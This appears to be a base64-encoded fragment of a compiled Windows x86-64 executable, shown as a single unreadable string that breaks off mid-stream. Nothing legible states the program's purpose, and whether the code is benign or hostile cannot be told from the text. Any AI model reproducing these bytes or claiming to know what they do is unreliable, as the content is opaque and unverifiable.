gTI0FW7oIAEmL1YvL6MFg+P+FwEiNRdd0JEiLTXdNi81IiUQkKESLw0iNRX+6AQAAAEiJRCQg6MMJAADrF0iLTd9MjU1/TYvFSIlEJCCL0+jCCgAASItN3+glXPj/SIlF70iL2EiFwA+EOAQAAOg0RP//hcAPhRQEAABMjQ3xCQgASIvLRI1AAUiNVd/oaWj//0yLZd9Ji8yFwA+FQAMAAEiNFce5CADoSgQAAEmLzIXAD4QkAQAASI1Fd0iJdCQwSIlEJChIjRW2uQgAQbmAAAAASIl0JCBBg8j/6N5P/f9Ii313hcAPhcUCAABIi8/okpj6/4P4ZA+FngIAAESLZWe6AgAAAEiLz+gEnvr/ugIAAABIi89Mi/jo8Jz6/7sBAAAASIvPi9NEi/Do4p36/4vTSIvPSIvw6NGc+v9Ii013M9KL+OjInfr/SItNdzPSSIvY6Lac+v9MiXwkMEiNDW65CACL0ESJdCQoRIvPSIl0JCBMi8Po/+/3/0iLfXe6AwAAAEiLz+iCnPr/ugMAAABIi8+L2Og/nPr/TItN10iLyEyLRX9IjQV9uQgASIlEJDCL00yJbCQoRIlkJCDoDwQAAEiLz+i7l/r/g/hkD4Qt////M/bpuAEAAEiNFSi6CADoDwMAAIXAD4TjAQAASI1Fd0iJdCQwSIlEJChIjRUOuggAQbmAAAAASIl0JCBBg8j/SYvM6KNO/f9Ii313hcAPhYoBAABIi8/oV5f6/4P4ZA+FYwEAAESLZWe6AgAAAEiLz+jJnPr/ugIAAABIi89Mi/jotZv6/7sBAAAASIvPi9NEi/Dop5z6/4vTSIvPSIvw6Jab+v9Ii013M9KL+OiNnPr/SItNdzPSSIvY6Hub+v9MiXwkMEiNDfO5CACL0ESJdCQoRIvPSIl0JCBMi8PoxO73/0iLfXe6AwAAAEiLz+gXnPr/SI1V90iNDIBIA8lIiU3nSI1N5/8VOmoFADP2hcB0CUiNTffoC1z4/7oEAAAASIvP6OKb+v9IjQyASAPJSIlN53QnSI0NEm0IAOhl7vf/SI1V/0iNTef/FfdpBQCFwHQJSI1N/+jKW/j/SI0Nk/sFAOg+7vf/Qb4FAAAASIvPQYvW6MGa+v9Bi9ZIi8+L2OiAmvr/TItN10iLyEyLRX9IjQWGuQgASIlEJDCL00yJbCQoRIlkJCDoUAIAAEiLz+j8lfr/g/hkD4Sp/v//SItd70yLZd+D+GV0KEmLzOiGXP//SI0Nk7cIAOsPSYvM6HVc//9IjQ3itwgASIvQ6LLt9/9Ii8/oHoz6/+slSI0NKbkIAOic7ff/6xfoSVz//0iL0EiNDcO5CABMi8Pog+33/7oBAAAASYvM6E5M//85NXycDAB0C+gpCf3/iTVvnAwAOTV5nAwAdBtIiwXMmwwASIXAdAlIiw2wmwwA/9CJNVycDAA5NVKcDAB0PEiLBTmbDABIhcB0CUiLDTWbDAD/0A9XwIk1MpwMADPASIk1mQgNAA8RBUoMDQBIiQVTDA0ASIk1jAgNADk1CpwMAHQWiTUCnAwA6w6L0EiNDYu5CADo3uz3/0iLy/8VrWgFAEiLTX9Ihcl0DDPS/xX09AwASIl1f0iLTddIhcl0FP8VufQMAOsMSI0NwLkIAOij7Pf/SIucJNgAAAAzwEiBxJAAAABBX0FeQV1BXF9eXcPMzEyL3EmJWwhJiWsQVkiD7EAz20mNQxhJiVvoSIvqSYlD4EiNFXS6CABBuYAAAABJiVvYQYPI/0iL8eiKS/3/hcB1ZkiLTCRgjVMBxkQkKAFBg8n/TIvFSIlcJCDodJz6/4XAdTNIi0wkYOgilPr/g/hkdRNIi0wkYDPS6DWZ+v+FwA+fw+s5SIvO6Kpa//9IjQ1XuggA6yBIi87omVr//0iNDca6CADrD0iLzuiIWv//SI0NNbsIAEiL0OjF6/f/SItMJGDoL4r6/0iLbCRYi8NIi1wkUEiDxEBew8xIi8RIiXAISIl4GEyJcCBVSI1ouUiB7MAAAACL8k2L8UiL+YP6Aw+CEwEAAA+3AWY7BT6kBgAPhQMBAACKQQI6BTGkBgAPhfQAAABNhcAPhN0AAABNhckPhNQAAABIjQ08uwgA6D/r9/8z0kiNTd9EjUJY6PiEAwBIjUcDx0XfWAAAAEiJRedIjU/wSAPOx0XjAQAAAI1G4UiJTQeL0LlAAAAAx0XvDAAAAMdFDxAAAACJRVf/Ff5mBQBIi/hIhcAPhNkAAACDZCRIAEiNRVdEi0VXTI1N34tV70mLzkgDVedIiUQkQESJRCQ4SIl8JDCDZCQoAEiDZCQgAP8VB/MMAIXAeBlEi0VXSI0N2LoIAEiLVX9Mi8/ojOr3/+sOi9BIjQ3ZuggA6Hzq9/9Ii8/raEiNDUi7CADoa+r3/+tgSINkJEgASI1FV0SLTW9FM8BIiUQkQIvWSI1Fz0iJRCQ4g2QkMABIi0V3SINkJCgASIlEJCDoK+H//4XAdCJMi03PSI0NYLoIAESLRVdIi1V/6BPq9/9Ii03P/xXhZQUATI2cJMAAAABJi3MQSYt7IE2LcyhJi+Ndw0iLxEiJWAhIiXAQSIl4GEFWSIPsUEmL8EiL+kyL8TPbiVjoSIkaSYkYRTPJRTPASI0VajsHAEiLz/8V0fEMAIXAD4iSAAAAiVwkIESNSyBMjQUSPQcASI0Va1oHAEiLD/8V8vEMAIXAeDuJXCQwx0QkKCAAAABMiXQkIEUzyUUzwEiL1kiLD/8Vs/EMAIXAeAu7AQAAAIlcJEDrS0iNDdW6CADrB0iNDXy7CACL0Og96ff/SDkfdA4z0kiLD/8VXfEMAEiJH0g5HnQcSIsO/xUk8QwASIke6w6L0EiNDda7CADoCen3/+sQSI0NeLwIAOj76Pf/i1wkQIvDSItcJGBIi3QkaEiLfCRwSIPEUEFew8zMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7GBJi/CL6kyNQOhNi/FIjVDwM//ohFz4/4XAD4T3AAAAg3wkUAVIi1wkWA+C0AAAAIsDOwXYmQYAD4XCAAAAikMEOgXNmQYAD4WzAAAASI0NWLwIAOhr6Pf/i1QkUEiNRCRUSIl8JEhIjUsFSIlEJECDwvtIjUQkWESLzUiJRCQ4RTPAiXwkMEiJfCQoSIl0JCDoKt///4XAdHKLVCRUjW8gSIt0JFg71XU8SI0NW7wIAOgO6Pf/RTPAi9VIi87owVT4/0iNDUr1BQDo9ef3/0yLhCSQAAAASYvWSIvO6PL9//+L+OsPRIvFSI0NPLwIAOjP5/f/SIvO/xWeYwUA6wxIjQ21vAgA6Ljn9/9Ii8v/FYdjBQDrFP8Vn2MFAIvQSI0NFr0IAOiZ5/f/TI1cJGCLx0mLWxBJi2sYSYtzIEmLeyhJi+NBXsNIi8RIiVgISIloEEiJcBhXQVZBV0iD7EBNi/FFi/iL6kyNQNhFM8lIjVDgM9vomsX3/4XAD4SpAAAAi1QkMEiLTCQ46NxR+P9Ii/BIhcAPhIIAAABIjRVRvQgASIvI6P16AwBIi/hIhcB0UkiNFXa9CABIjUg66OV6AwBIhcB0NEiNDW29CADo8Ob3/0iLjCSIAAAATYvGTIuMJIAAAABBi9dIiUwkIEiNTzro8P3//4vY6xlIjQ2ZvQgA6wuF7XQMSI0NTL4IAOiv5vf/SIvO/xV+YgUASItMJDj/FXNiBQDrGIXtdBT/FYdiBQCL0EiNDc6+CADogeb3/0iLbCRoi8NIi1wkYEiLdCRwSIPEQEFfQV5fw8zMSIlcJBBIiWwkGFZXQVZIg+wwM9tJi/FJi+hEi/JIhckPhIEAAADoGckDAEiL+EiFwHR0jVNcSIvI6N54AwBIhcB0XI1TXGaJGEiLz+jLeAMASIXAdElMi8dmiRhIjRXpvggASI1MJFDoK174/4XAdC5Ii0QkcEyLzUiLTCRQRYvGSIlEJCgz0kiJdCQg6Fb+//9Ii0wkUIvY/xWdYQUASIvP6CHJAwBIi2wkYIvDSItcJFhIg8QwQV5fXsNIiVwkCEiJdCQQVVdBVEFWQVdIi+xIgeyAAAAARTPkTI1N0EyNBVa1BwBMiWXgTIlkJCBIi9pEi/nowlT4/4XAdC9Ii1XQSIXSD4RsAgAASYPI/0n/wGZGOSRCdfZNhcAPhFUCAABIjU3g6KlW+P/rTUyNTehFM8Az0jPJ6BsJ+P+FwA+EMgIAAEiLTehIjUXgTIlkJDBMjQ0TvggATI0FHL4IAEiJRCQoSMfCAgAAgOgvFvj/SItN6OhyCvj/SIt14EiF9g+E8AEAAEiL1kiNDTu+CADozuT3/0yNTdBMiWQkIEyNBTqMCABIi9NBi8/oC1T4/4XAD4SnAQAASItV0EiNDUC+CADom+T3/+geaPj/SIv4SIXAD4SSAQAASItV0EiLyOiSaPj/hcAPhGcBAABMiw9MjUXwSI0VQL4IAEiLz0H/kSgBAACFwA+FRwEAAEiLTfBIhckPhDoBAABIjRUyvggA6PVo+P9Mi/BIhcAPhCIBAABIi9BIjQ0fvggA6CLk9/9MjQ3zoAYASIl0JCBNi8ZIjRUYvggASI1N2Oj3XPj/TDll2A+E4QAAAEiLTfBIjVX4SIsB/5DQAAAAhcAPhb4AAABIi034TI1FQEiNVeDop1f4/4XAD4SbAAAASItN2P8V5V0FAItVQEiNTUhMiWQkSEWLz0iJTCRARTPASI1N6EiJTCQ4SItN4IlEJDBIi0XYSIlEJChIiVwkIOh+2v//hcB0UkSLRUhIjU3gSItV6EnR6OjaVPj/hcB0MEiLXeBBuQAAEABIi8tFM8Az0v8VvmIFAEiL00iNDVy9CADoP+P3/0iLy/8VDl8FAEiLTej/FQRfBQBIi034/xUSYAUASItN2P8V8F4FAEmLzv8V514FAEiLB0iLz/9QEOsMSI0NRb0IAOj44vf/SIvO/xXHXgUA6wxIjQ0evggA6OHi9/9MjZwkgAAAADPASYtbMEmLczhJi+NBX0FeQVxfXcPMzMxIiVwkCFVWV0FUQVVBVkFXSI1sJNlIgeygAAAAM/ZMjU1/IXXXTI0FfL4IAEghdCQgM/9IiX3fTIvyRIv56NZR+P+NXhiFwHQgSItNf0iNVe9Ei8PoD074/4XAdRhIjQ1UvggA6Ffi9/+L00iNTe//FeNkBQBIjQU0vwgASYvWTI1Nf0iJRCQgTI0FWb8IAEGLz+iBUfj/SItNf+goTfj/TIvgSIXAD4TrBAAASIvI/xUzXAUATYvESI0NOb8IAIvQiUV/RIvo6PTh9/9FM8BIjU3vi9Popk74/0iNDS/vBQDo2uH3/0ghdCQgTI1N50yNBUK/CABJi9ZBi8/oF1H4/4XAD4TMAgAASItd50iLy/8VEl0FAEiLy4P4QHVzTI1Fd0iNVd/ovU34/4XAD4T+AAAASI0NHr8IAOiB4ff/SItd30UzwItVd0iLy+gvTvj/SI0NuO4FAOhj4ff/SI1FB0GL1UiJRCQwTI1F74tFd0mLzIlEJChIiVwkIOiXfvf/SIvLi/D/FQxdBQDpGwIAAP8VkVwFAEiNVd9Ii8s9ZAEAAA+FmQAAAEyNRXfoNk34/4XAdHtIIXQkIEyNTedMjQWKvwgASYvWQYvP6EdQ+P9Mi23fhcB0R0iLXedIjQ2EvwgASIvT6NTg9/+LVXdFM8BJi83ohk34/0iNDQ/uBQDouuD3/0iNRQdIiUQkOItFd4lEJDBMiWwkKOkLAQAASI0Nwb8IAOiU4Pf/6VwBAABIjQ2AvggA6IPg9//pagEAAEyNRdfo8VT4/4XAD4RJAQAASCF0JEhIjUV3SIt930WLz4tV10UzwEiJRCRAg8L4SI1F30iJRCQ4SI1PCCF0JDBIIXQkKEyJdCQg6CvX//+FwA+EiQEAAEiNDRDACADoG+D3/4tXBIvCTItt34PoAQ+EigAAAIP4AXQRSI0NxcAIAOj43/f/6cAAAABBi1UESY1dDEjR6kiNDTnACABMi8Po2d/3/0GLRQRJjU0MQYtVCEgDyEUzwOiCTPj/SI0NC+0FAOi23/f/QYtFBEmNTQxIA8hIjUUHSIlEJDhBi0UIiUQkMEiJTCQoi1V/TI1F70mLzEiJXCQg6M1+9//rSkiNDYi/CADoc9/3/4tVd0UzwEmLzeglTPj/SI0NruwFAOhZ3/f/i1V/SI1FB0iJRCQwTI1F74tFd0mLzIlEJChMiWwkIOiNfPf/i/BJi83/FQJbBQBEi21/6xBIjQ2VwAgA6Bjf9/9Ii33fhfZ0ckiNDRnDCADoBN/3/0UzwEiNTQdBjVAg6LRL+P9IjQ097AUA60hIIXQkIEyNTX9MjQXjwAgASYvWQYvP6ChO+P+FwHQiSItNf0iNVQdBuCAAAADoYUr4/4vwhcB1o0iNDdTACADrB0iNDavBCADont73/0iDZCQgAEyNTd9MjQW9wggASYvWQYvP6NpN+P+FwA+EQwEAAEiDZCQgAEyNTX9MjQWhwggASYvWQYvP6LZN+P+FwHQSSItNf0UzwDPS6NzgAwCL0OskSI1Nf/8VRlgFAItNf7hryl9rgcEAgMEq9+nB+haLwsHoHwPQSI0NXcIIAIlVf+gV3vf/hfZ0WUiNDXLCCADoBd73/4NkJDgASI1FB0iDZCQwAEyNTX9Mi0XfSI1N78dEJCggAAAASIlEJCDofAIAAEiL2EiFwHQYSIvQSI0NXsIIAOjB3ff/SIvL/xWQWQUASIX/D4SGAAAAg33XAHRySINkJCAATI0FpMIIAEUzyUmL1kGLz+jmTPj/hcB0U0iNDZPCCADoft33/4tF10yNTX9Mi0XfSI1N70SJbCQ4TIlkJDCJRCQoSIl8JCDo+wEAAEiL2EiFwHQYSIvQSI0N3cEIAOhA3ff/SIvL/xUPWQUASIX/dAlIi8//FQFZBQBIi5wk4AAAADPASIHEoAAAAEFfQV5BXUFcX15dw0iJXCQISIl0JBBXSIPsIEiL8f8VHFcFADP/i9iFwHQpSIvWRIvDigIsIjw6dxJIuQEgAAAAAAAESA+jwXMC/8NI/8JJg+gBdd2NUwG5QAAAAP8VxVgFAEiL0EiFwHQ5i8+F23QzRIvPRYoEMUGA+CJ0DEGA+C90BkGA+Fx1DIvB/8HGBBBcRYoEMYvB/8f/wUSIBBA7y3LNSItcJDBIi8JIi3QkOEiDxCBfw8xAVVNWV0FWSIvsSIPsMDPbSIvxSIldSEiF0nQEizrrJkiNTfD/FT5WBQCLTfC4a8pfa4HBAIDBKvfpi/rB/xaLx8HoHwP4TI1FOEiLzkiNVfDohlD4/4XAD4SVAAAAi1U4uUAAAAD/wv8VAlgFAEiL8EiFwHRzRItFOEiLyEiLVfDoAnoDAEiLzujG/v//TIvwSIXAdEpEi89IjRUowQgATIvASI1NQOioVPj/hcB0J0iLTUD/Fc5VBQBIi01ATI1FSIvQ6KtS+P9Ii01A/xVlVwUASItdSEmLzv8VWFcFAEiLzv8VT1cFAEiLTfD/FUVXBQBIi8NIg8QwQV5fXltdw8zMzEiLxEiJWAhIiXAYSIl4IIlQEFVBVkFXSI1owUiB7KAAAABIg2X3ADPbTYvwSIld50yNRe9Ji/FMi/mNUxjollH4/4XAD4SoAQAASItN7+j9/f//SIv4SIXAdE5Mi8hMjQWbwAgASI0VOMAIAEiNTd/o21P4/4XAdCdIi03f/xUBVQUASItN30yNReeL0OjeUfj/SItN3/8VmFYFAEiLXedIi8//FYtWBQBIi03v/xWBVgUASIXbD4Q2AQAASIvWSYvO6DX+//9Ii/hIhcAPhBYBAABMi8hIjRUvEAgATIvDSI1N1+hnU/j/hcAPhO8AAABIi3V3SIX2dHpEi3V/RYX2dHFIi03X/xV3VAUAi1VvSI1NT0iJTCRIRYvOSI1N/0yLxkiJTCRASItNZ4lEJDhIi0XXSIlEJDDHRCQoGAAAAEyJfCQg6O189/+FwA+EgwAAAIN9TyB1fUiLTf8PEAEPEUUHDxBJEA8RTRf/FcJVBQDrKkiLTdf/FQZUBQBMi0XXRIvIi1VvSI1FB0iLTWdIiUQkIOgKe/f/hcB0OEyNRe+6IAAAAEiNTQfowFD4/4XAdCJMi03vSI0VTQ8IAEyLRddIjU336IRS+P9Ii03v/xVeVQUASItN1/8VVFUFAEiLz/8VS1UFAEiLy/8VQlUFAEiLRfdMjZwkoAAAAEmLWyBJi3MwSYt7OEmL40FfQV5dw8xIiVwkCEiJbCQQSIl0JBhXSIPsIIvySIvpuUAAAACNVgH/FTFVBQAz20iL+EiFwHRwRIvGSIvVSIvI6DF3AwBIi8//FShTBQCNS0CL6I1QAf8VAlUFAEiL8EiFwHQ6i9OF7XQci8qAPDlcdQL/wovC/8KLy//DigQ4iAQxO9Vy5EiL1kiNDa5yBwDoudj3/0iLzv8ViFQFAEiLz/8Vf1QFAEiLXCQwSItsJDhIi3QkQEiDxCBfw8zMSIlcJAhIiXQkIFdIg+wgSIvxi9pMi8FIjQ0ivggA6G3Y9/+NUwG5QAAAAP8Vb1QFAEiL+EiFwHR4RIvDSIvWSIvI6HF2AwC+LgAAAEiLz4vW6DZuAwBIi9hIhcB0SovWSI1IAegjbgMASIXAdDpMjUQkOMYAAEiNVCRASI1LAehcTfj/hcB0IEyLRCRASI0NzL0IAItUJDjo89f3/0iLTCRA/xXAUwUASIvP/xW3UwUASItcJDBIi3QkSEiDxCBfw8zMzEiLxEyJSCBMiUAYSIlQEIlICFVTVldBVEFVQVZBV0iNaKFIgey4AAAATYvpSI1F30iJRCRQSYvYSI1F10Uz9kiJRCRIRTPJSI1F40UzwEiJRCRASYvVTIl0JDBIi8tMiXQkKOjY//f/hcAPhB0CAACLRddBjX5A/8CLz4lF141QAUgD0v8VUlMFAEiJRQdMi+BIhcAPhPMBAACLVd+Lz/8VN1MFAEiL8EiFwA+E0wEAAEWL/kQ5deMPhr0BAACLTddIjUXnSIlEJEBNi8yJTetIjUXvi03fRYvHSIl0JDhJi9VIiUQkMEiNReuJTedIi8tIiUQkIOiNBfj/hcAPhGsBAABJi9RIjQ2vvAgA6LrW9/+LVe+D+gcPhYMBAAAzwEiL/mY5Bg+EPwEAAEyLbW8z20SLZWdBuAIAAABIjRWJvAgASIvP6LFpBACFwA+F8gAAAEiNTwRMjUXzSI1V/+hASvj/hcAPhNkAAACLVfNIjUXbSItN/0WLzEiJXCRIRTPASIlEJEBIjUX3SIlEJDhIjQU1kwYAx0QkMBAAAABIiUQkKEyJbCQg6BrN//+FwA+EggAAAEGLxkWF9nRUg/gBdDJBi9ZIjQ0nvAgA6PrV9/9Ii133QbgBAAAAi1XbSIvL6KVC+P9IjQ0u4wUA6NnV9//rOEiNDei7CADoy9X3/0iLXfeLVdtIi8vodPz//+sbSI0Nu7sIAOiu1ff/SItd94tV20iLy+gP/f//SIvL/xVuUQUAM9tIi03/Qf/G/xVfUQUASIvP/xXmUAUA/8BImEiNPEdmOR8Phdf+//9Mi2UHTIttf0iLXXdFM/ZB/8dEO33jD4JD/v//SIvO/xUgUQUASYvM/xUXUQUASIHEuAAAAEFfQV5BXUFcX15bXcNIjQ2suwgA6B/V9//rv8xIiVwkCFVWV0FWQVdIjWwkyUiB7JAAAABMi/JMjU0vRIv5M9IzyUUzwOji+Pf/hcAPhE8BAABIi10vSI1FH0iJRCQoTI0FyrsIAEiLy8dEJCAZAAIASMfCAQAAgOin+vf/hcAPhAABAABIg2QkUABIjUV3SINkJEgARTPJSINkJEAARTPASItVH0iLy0iJRCQwSI1Ff0iJRCQo6PH89/+FwA+EtAAAAItFd7lAAAAA/8CJRXeNUAFIA9L/FWxQBQBIi/BIhcAPhI8AAAAz/zl9f3Z/i013SI1FF0iLVR9Mi86JTRdEi8dIi8tIiUQkIOhIAfj/hcB0U0yLxkiNDYK7CACL1+gT1Pf/SItVH0iNRSdIiUQkKEyLxkiLy8dEJCAZAAIA6N/59/+FwHQeTItNJ0yLw0mL1kGLz+gR/P//SItVJ0iLy+jNBPj//8c7fX9ygUiLzv8VmU8FAEiLVR9Ii8vosQT4/+sU/xWlTwUAi9BIjQ0suwgA6J/T9/9Ii8voH/n3/0iLnCTAAAAAM8BIgcSQAAAAQV9BXl9eXcPMzEiLxEiJWAhIiWgQVldBVEFWQVdIg+xgM9tMjUjITI0F1HoIAEiJWJhMi/JEi/nooUL4/4XAD4S3AgAASItMJFBMjYQkoAAAAEUzyUiNVCRY6Hex9/+FwA+EfwIAAIO8JKAAAAAUD4KTAgAASIt0JFhIi0YESCsFafUFAHULSItGDEgrBWT1BQBIhcBIjW4Mi/tAD5THhf9ID0XuM8lIi9XoB4f3/4uUJKAAAACF/3UDi1YESI0N6roIAIX/SI0FKbsIAEWLz0gPRcFFM8BIiUQkSEiLzUiNhCSoAAAASIlEJEBIjUQkUEiJRCQ4iVwkMEiJXCQoTIl0JCDoecn//4XAD4TKAQAASItsJFBIi82F/w+E0QAAAOhQPvf/SIv4SIXAD4SgAQAATI0lpdYGADPSTYvESI0NOdwGAOg80vf/RIsPSI0NetwGAE2LxESJTCQgM9LoI9L3/0SLTwRIjQ2w3AYATYvERIlMJCAz0ugJ0vf/RItPCEiNDd7cBgBNi8Qz0uj00ff/i0cIRIvjhcB0SUiLVwxBi8RIixTC6F5A9/+LRwhB/8REO+By5YXAdCpIi0cMRYvPi8tMiXQkIEiLDMhEi0FYSItRXEiLSSzoZAUAAP/DO18IctZIi8/oUT/3/+ngAAAA6Fc39/9Ii/hIhcAPhM8AAABIi9Doizj3/0UzyUiJXCQgTI0FDLoIAEmL1kGLz+i5QPj/hcB0HEiLT3BFM8Az0uirGQMASI0NmN4FAOhD0ff/6xlEi0dsRYvPSItXcEiLTzRMiXQkIOjkBAAASItPNEiFyXQG/xXxTAUASItPWEiFyXQG/xXiTAUASItPTEiFyXQG/xXTTAUASItPQEiFyXQG/xXETAUASItPZEiFyXQG/xW1TAUASItPcEiFyXQG/xWmTAUASItPeEiFyXQIi1ck6FU79/9Ii8//FYxMBQBIi83/FYNMBQBIi87/FXpMBQDrIv8VkkwFAIvQSI0NSbkIAOiM0Pf/6wxIjQ27uQgA6H7Q9/9MjVwkYDPASYtbMEmLazhJi+NBX0FeQVxfXsPMzMxIiVwkCEiJdCQQVVdBVEFWQVdIjWwkyUiB7MAAAABIg2QkIABMjU1/TI0FkXQIAEiL2ovx6H8/+P+FwA+ErwMAAEiLTX9MjUXnRTPJSI1V3+hbrvf/hcAPhH0DAABIi03f6GpD9/9Ii/hIhcAPhFwDAABIi9Do8kX3/0iDZCQgAEyNTX9MjQWNuQgASIvTi87oIz/4/4XAD4QpAwAASItNf0yNRetFM8lIjVXX6P+t9/+FwA+E+QIAAEiLTdfoRkD3/0yL8EiFwA+E2AIAAEiL0Oj6QPf/SYtOMEiNBUe5CABIiUQkSESLzkiNRe9FM8BIiUQkQEiNRc+LUSBIi0kkSIlEJDiDZCQwAEiDZCQoAEiJXCQg6ELG//+FwA+ESwIAAEiLTc9MjU0PTI1F/+jhQff/hcAPhCgCAABIjQ0euQgA6BnP9/9FM8BIjU3/QY1QEOjJO/j/SI0NUtwFAOj9zvf/SI0NFrkIAOjxzvf/RTPASI1ND0GNUCDooTv4/0iNDUpMBwDo1c73/0G5GAAAAMdEJCAAAADwRTPASI1NxzPS/xWIQQUAhcAPhLMBAABFM+REOWc8D4aaAQAASItHQEqLHOBIhdsPhHwBAACLE0iNDcm4CADohM73/0iDexQAD4RXAQAAi0MQiUV3hcAPhEkBAACL0LlAAAAA/xVuSgUASIvwSIXAD4QwAQAARItFd0iLyEiLUxToamwDAEiLVcdIjUV/SIlEJChMjU0PSI1F90iLy0yNRf9IiUQkIOjsAwAAhcAPhOkAAABIi033SI1Fd0UzyUiJRCQoM9JIiXQkIEWNQQH/FaNABQCFwA+ErAAAAIN9fwB0E4tVd0UzwEiLzuiXOvj/6acAAABIjQ0b2wUA6MbN9/+DOwB0GIM7ZHQTi1V3QbgBABAASIvO6Gs6+P/rXEiLzugpRvf/SIvYSIXAdExIi9Do2Ub3/0iLSwxIhcl0MkUz/0Q5ewR2I0iLSwxKixT5SIXSdA1Ii8r/FUFJBQBIi0sMQf/HRDt7BHLd/xUuSQUASIvL/xUlSQUASI0NltoFAOhBzff/6xT/FTFJBQCL0EiNDZi3CADoK833/0iLzv8V+kgFAEiNDWvaBQDoFs33/0H/xEQ7ZzwPgmb+//9Ii03HM9L/FVU/BQBIi03P/xXLSAUASYtOGEiFyXQG/xW8SAUASYteMEiF23QYSItLJEiFyXQG/xWkSAUASIvL/xWbSAUASYvO/xWSSAUASItN1/8ViEgFAOsU/xWgSAUAi9BIjQ13twgA6JrM9/9Ii8/o5kH3/0iLTd//FWBIBQDrIv8VeEgFAIvQSI0N37cIAOhyzPf/6wxIjQ1huAgA6GTM9/9MjZwkwAAAADPASYtbMEmLczhJi+NBX0FeQVxfXcPMzEiLxEiJWAhIiXAQSIl4GEyJcCBVSIvsSIPsYEiL2kWL8UiNFZS4CABBi/hIi/Ho9V8DAEiFwA+EigAAAIP/FA+CtAEAAEiLQwRIOwVc7gUAD4WjAQAASItDDEg7BVPuBQAPhZIBAABIjUXwRYvOSI01b7gIAEUzwEiJdCRIi9dIiUQkQEiLy0iNRfhIiUQkOEiNBfXeBQDHRCQwSgAAAEiJRCQoSItFMEiJRCQg6I7C//+FwA+EPwEAAEiNDVu4CADpDAEAAEiNFXe4CABIi87oU18DAEiFwA+EGwEAAEiNDYe4CADoWsv3/4P/FA+CBgEAAEiL00iNDce4CADoujUFAIXAD4XvAAAAi1MMSI010LcIAEiLfTCF0nRoSIl0JEhIjUXwSIlEJEBIjUsUSI1F+EWLzkiJRCQ4RTPAg2QkMABIg2QkKABIiXwkIOjuwf//hcB0LkiNDb+3CADo4sr3/4tV8EiLTfjoujT4/0iNDR/YBQDoysr3/0iLTfj/FZhGBQCLUxCF0nRui0MMSI1LFEiJdCRISAPISI1F8EWLzkiJRCRARTPASI1F+EiJRCQ4g2QkMABIg2QkKABIiXwkIOh5wf//hcB0LkiNDQK4CADobcr3/4tV8EiLTfjoRTT4/0iNDarXBQDoVcr3/0iLTfj/FSNGBQBMjVwkYEmLWxBJi3MYSYt7IE2LcyhJi+Ndw8xIiVwkEEiJdCQYV0iD7ECLAUUz0kiLdCRwSIva/8jHRCRQAQAAAIP4Yk2L2UiLRCR4SIv5QQ+WwkiLy0GL0oPyAUSJEESNSgFBweEEjRRVDmYAAEWF0k0PRMNIg2QkMABIiXQkKINkJCAA6PlF9/+L2IXAdDRIiw5MjUQkUEUzyUGNUQT/FSY8BQCDfxwAdBlMi0cgTYXAdBBIiw5FM8lBjVEB/xUHPAUASIt0JGCLw0iLXCRYSIPEQF/DzEiJXCQIVVZXQVZBV0iL7EiD7HBIg2QkIABMjU1ITI0FzHAIAEiL+ovx6J44+P+FwA+E6gMAAEiLTUhMjUXkRTPJSI1V+Oh6p/f/hcAPhLgDAABIi0346HGv9/9Ii9hIhcAPhJcDAABIi9DoibD3/4tTIEiNBbO2CABIi0tITI09+LYIAEiJRCRIRIvOSI1FQEUzwEiJRCRASI1F6EiJRCQ4x0QkMBEAAABMiXwkKEiJfCQg6Li///+FwHQli1VARTPASItN6OhpNfj/SI0N8tUFAOidyPf/SItN6P8Va0QFAItTEEiNBbG2CABIi0tARIvOSIlEJEhFM8BIjUVASIlEJEBIjUXoSIlEJDiDZCQwAEiDZCQoAEiJfCQg6E+///9Jg87/hcAPhNEAAACLVUBFM8BIi03o6Pg0+P9IjQ2B1QUA6CzI9/9Ei01ASI1FSEyLReiLUwxIi0s4SIlEJDhIjUXgSIlEJDBIjUXwSIlEJCjHRCQgACQAAOjpsff/hcB0cUiLSyhIhcl0XkmL1kj/woA8EQB19+h/Mvj/TIv4SIXAdD6LVUhBuQIAAABIi03wRTPAx0QkQAEAAABIiUQkOEiNBSO2CABIiUQkKIlUJCCLVeDoApQAAEmLz/8VaUMFAEyNPZK1CABIi03w/xVYQwUASItN6P8VTkMFAItTJEiNBQS2CABIi0tgRIvOSIlEJEhFM8BIjUVASIlEJEBIjUXoSIlEJDjHRCQwEQAAAEyJfCQoSIl8JCDoML7//4XAdCWLVUBFM8BIi03o6OEz+P9IjQ1q1AUA6BXH9/9Ii03o/xXjQgUAi1MYSI0F6bUIAEiLS1hEi85IiUQkSEUzwEiNRUBIiUQkQEiNRehIiUQkOINkJDAASINkJCgASIl8JCDox73//4XAD4TMAAAASIt16EUzwItVQEiLzuhxM/j/SI0N+tMFAOilxvf/RItNQEiNRUiLUxRMi8ZIi0tQSIlEJDhIjUXgSIlEJDBIjUXwSIlEJCjHRCQgAKQAAOhjsPf/hcB0a0iLSyhIhcl0WEn/xkKAPDEAdfZJi9bo+DD4/0iL+EiFwHQ+i1VIQbkBAAAASItN8EUzwMdEJEABAAAASIlEJDhIjQVctQgASIlEJCiJVCQgi1Xg6HuSAABIi8//FeJBBQBIi03w/xXYQQUASIvO/xXPQQUASItLKEiFyXQG/xXAQQUASItLMEiFyXQG/xWxQQUASItLOEiFyXQG/xWiQQUASItLQEiFyXQG/xWTQQUASItLSEiFyXQG/xWEQQUASItLUEiFyXQG/xV1QQUASItLWEiFyXQG/xVmQQUASItLYEiFyXQG/xVXQQUASIvL/xVOQQUASItN+P8VREEFAOsi/xVcQQUAi9BIjQ2ztAgA6FbF9//rDEiNDSW1CADoSMX3/0iLnCSgAAAAM8BIg8RwQV9BXl9eXcPMzEiJVCQQiUwkCFVTVldBVEFWQVdIi+xIg+xwRTPkTI1NWEwhZCQgTI0Ff2wIAEiL+ovx6FE0+P+FwA+EhwIAAEiLTVhMjUXgRTPJSI1V+Ogto/f/hcAPhFUCAABIi0346KCw9/9Ii9hIhcAPhDQCAABIi9DoZLH3/4tTFEiNBUa1CABIi0tARIvOSIlEJEhFM8BIjUVQSIlEJEBIjUXoSIlEJDhIjQVetQgAx0QkMBEAAABIiUQkKEiJfCQg6Gu7//+FwA+EjgAAAItVUEyNTVhIi03oTI1F8Oi7svf/hcB0bIt1WDPJSItV8ESLxug+tPf/RTP/hfZ0RkyLdfBJiz6DfwwWciBIi1cUSI0Nl7QIAEG4FgAAAOh8KAUAhcB1BoN/EAR0DkH/x0mDxghEO/5zCevJSItHHESLIEiLfUhIi03wi9boarP3/4t1QEiLTej/FbE/BQCLUxhIjQW/tAgASItLSESLzkiJRCRIRTPASI1FUEiJRCRASI1F6EiJRCQ4SI0Fz7QIAMdEJDARAAAASIlEJChIiXwkI